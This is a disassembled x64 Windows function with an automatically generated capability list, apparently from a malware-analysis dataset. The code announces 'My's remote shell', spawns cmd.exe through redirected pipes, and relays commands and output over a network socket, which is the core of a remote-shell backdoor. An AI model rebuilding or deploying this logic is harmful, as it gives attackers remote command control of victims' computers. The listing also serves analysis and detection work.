Function at 0x40192c
Capabilities:
Download and write a file
Read and send data from client to server
Read file on windows
Read pipe
Receive and write data from server to client
Receive data
Receive data on socket
Send data
Send data on socket
Terminate process
Write file on windows

Disassembly:
push rbp
sub rsp, 0x540
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x4d0], rcx
mov qword [rbp + 0x4a0], 0
mov qword [rbp + 0x498], 0
mov qword [rbp + 0x490], 0
mov qword [rbp + 0x488], 0
mov dword [rbp + 0x470], 0x18
mov qword [rbp + 0x478], 0
mov dword [rbp + 0x480], 1
mov dword [rbp + 0x4b8], 0
mov dword [rbp + 0x4b0], 2
mov dword [rbp + 0x4b4], 0
mov dword [rbp + 0x4ac], 0
movabs rax, 0x6d6572207327794d
movabs rdx, 0x6c6568732065746f
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
mov dword [rbp - 0x20], 0xd0a0d6c
mov word [rbp - 0x1c], 0xa
lea rax, [rbp - 0x30]
mov rdx, rax
mov rcx, qword [rbp + 0x4d0]
call sym.send_socket
cmp eax, 0xffffffff
je 0x401dee
mov rax, qword [0x004078d0]
mov r10, qword [rax]
lea rcx, [rbp + 0x470]
lea rdx, [rbp + 0x498]
lea rax, [rbp + 0x4a0]
mov r9d, 0
mov r8, rcx
mov rcx, rax
call r10
test eax, eax
jne 0x401a45
lea rdx, str.Error_Creating_Pipes_For_Remote_Shell_r_nClosing_Connection...
mov rcx, qword [rbp + 0x4d0]
call sym.send_socket
jmp 0x401df5
mov rax, qword [0x004078d0]
mov r10, qword [rax]
lea rcx, [rbp + 0x470]
lea rdx, [rbp + 0x488]
lea rax, [rbp + 0x490]
mov r9d, 0
mov r8, rcx
mov rcx, rax
call r10
test eax, eax
jne 0x401a8f
lea rdx, str.Error_Creating_Pipes_For_Remote_Shell_r_nClosing_Connection...
mov rcx, qword [rbp + 0x4d0]
call sym.send_socket
jmp 0x401df5
mov rax, qword [0x00407910]
mov rdx, qword [rax]
lea rax, [rbp + 0x400]
mov rcx, rax
call rdx
mov dword [rbp + 0x43c], 0x101
mov word [rbp + 0x440], 0
mov rax, qword [rbp + 0x488]
mov qword [rbp + 0x458], rax
mov rax, qword [rbp + 0x488]
mov qword [rbp + 0x460], rax
mov rax, qword [rbp + 0x4a0]
mov qword [rbp + 0x450], rax
mov rax, qword [0x004078e0]
mov rax, qword [rax]
lea rdx, [rbp + 0x3e0]
mov qword [rsp + 0x48], rdx
lea rdx, [rbp + 0x400]
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 1
mov r9d, 0
mov r8d, 0
mov edx, 0
lea rcx, str.C:WindowsSystem32cmd.exe
call rax
test eax, eax
jne 0x401b5c
lea rdx, str.Error_Spawning_Command_Prompt.__r_nClosing_Connection...
mov rcx, qword [rbp + 0x4d0]
call sym.send_socket
jmp 0x401df5
mov ecx, 0x64
mov rax, qword [sym.imp.KERNEL32.DLL_Sleep]
call rax
mov rax, qword [rbp + 0x3e0]
lea rdx, [rbp + 0x3dc]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.DLL_GetExitCodeProcess]
call rax
mov eax, dword [rbp + 0x3dc]
cmp eax, 0x103
jne 0x401df1
mov dword [rbp + 0x4b8], 0
mov dword [rbp + 0x4bc], 1
mov rax, qword [rbp + 0x490]
mov qword [rsp + 0x28], 0
lea rdx, [rbp + 0x3dc]
mov qword [rsp + 0x20], rdx
mov r9d, 0
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.DLL_PeekNamedPipe]
call rax
mov eax, dword [rbp + 0x3dc]
test eax, eax
je 0x401d12
lea rax, [rbp - 0x10]
mov r8d, 0x3e9
mov edx, 0
mov rcx, rax
call sym.memset
mov eax, dword [rbp + 0x4b8]
cmp eax, dword [rbp + 0x4b0]
jl 0x401c1f
mov dword [rbp + 0x4b8], 0
mov rax, qword [rbp + 0x490]
lea rcx, [rbp + 0x3dc]
lea rdx, [rbp - 0x10]
mov qword [rsp + 0x20], 0
mov r9, rcx
mov r8d, 0x3e8
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.DLL_ReadFile]
call rax
mov eax, dword [rbp + 0x3dc]
test eax, eax
je 0x401c66
mov eax, dword [rbp + 0x3dc]
mov eax, eax
mov byte [rbp + rax - 0x10], 0
mov ecx, 1
mov rax, qword [sym.imp.KERNEL32.DLL_Sleep]
call rax
cmp dword [rbp + 0x4bc], 0
je 0x401cce
lea rax, [rbp - 0x10]
mov rcx, rax
call sym.strlen
mov edx, eax
mov eax, dword [rbp + 0x4b4]
sub edx, eax
mov eax, edx
mov ecx, eax
mov eax, dword [rbp + 0x4b4]
cdqe
lea rdx, [rbp - 0x10]
add rax, rdx
mov r9d, 0
mov r8d, ecx
mov rdx, rax
mov rcx, qword [rbp + 0x4d0]
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
mov dword [rbp + 0x4bc], 0
jmp 0x401cfc
lea rax, [rbp - 0x10]
mov rcx, rax
call sym.strlen
mov edx, eax
lea rax, [rbp - 0x10]
mov r9d, 0
mov r8d, edx
mov rdx, rax
mov rcx, qword [rbp + 0x4d0]
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
mov eax, dword [rbp + 0x3dc]
cmp eax, 0x3e8
je 0x401c1f
jmp 0x401ba9
mov eax, dword [rbp + 0x4b8]
cmp eax, dword [rbp + 0x4b0]
jge 0x401d3a
mov ecx, 0x64
mov rax, qword [sym.imp.KERNEL32.DLL_Sleep]
call rax
add dword [rbp + 0x4b8], 1
jmp 0x401ba9
nop
lea rax, [rbp - 0x15]
lea rdx, [0x00407157]
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x401d5c
mov dword [rbp + 0x4b4], 0
lea rax, [rbp - 0x15]
mov r9d, 0
mov r8d, 0x3e8
mov rdx, rax
mov rcx, qword [rbp + 0x4d0]
mov rax, qword [sym.imp.WS2_32.dll_recv]
call rax
mov dword [rbp + 0x4ac], eax
cmp dword [rbp + 0x4ac], 0
je 0x401df4
cmp dword [rbp + 0x4ac], 0xffffffff
je 0x401df4
mov eax, dword [rbp + 0x4ac]
cdqe
mov byte [rbp + rax - 0x15], 0
lea rax, [rbp - 0x15]
mov rcx, rax
call sym.strlen
mov r8d, eax
mov rax, qword [rbp + 0x498]
lea rcx, [rbp + 0x3dc]
lea rdx, [rbp - 0x15]
mov qword [rsp + 0x20], 0
mov r9, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.DLL_WriteFile]
call rax
mov eax, dword [rbp + 0x4ac]
mov dword [rbp + 0x4b4], eax
jmp 0x401b5c
nop
jmp 0x401df5
nop
jmp 0x401df5
nop
mov rax, qword [rbp + 0x3e0]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.DLL_TerminateProcess]
call rax
mov rax, qword [rbp + 0x4a0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.DLL_CloseHandle]
call rax
mov rax, qword [rbp + 0x498]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.DLL_CloseHandle]
call rax
mov rax, qword [rbp + 0x490]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.DLL_CloseHandle]
call rax
mov rax, qword [rbp + 0x488]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.DLL_CloseHandle]
call rax
mov rcx, qword [rbp + 0x4d0]
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
nop
add rsp, 0x540
pop rbp
ret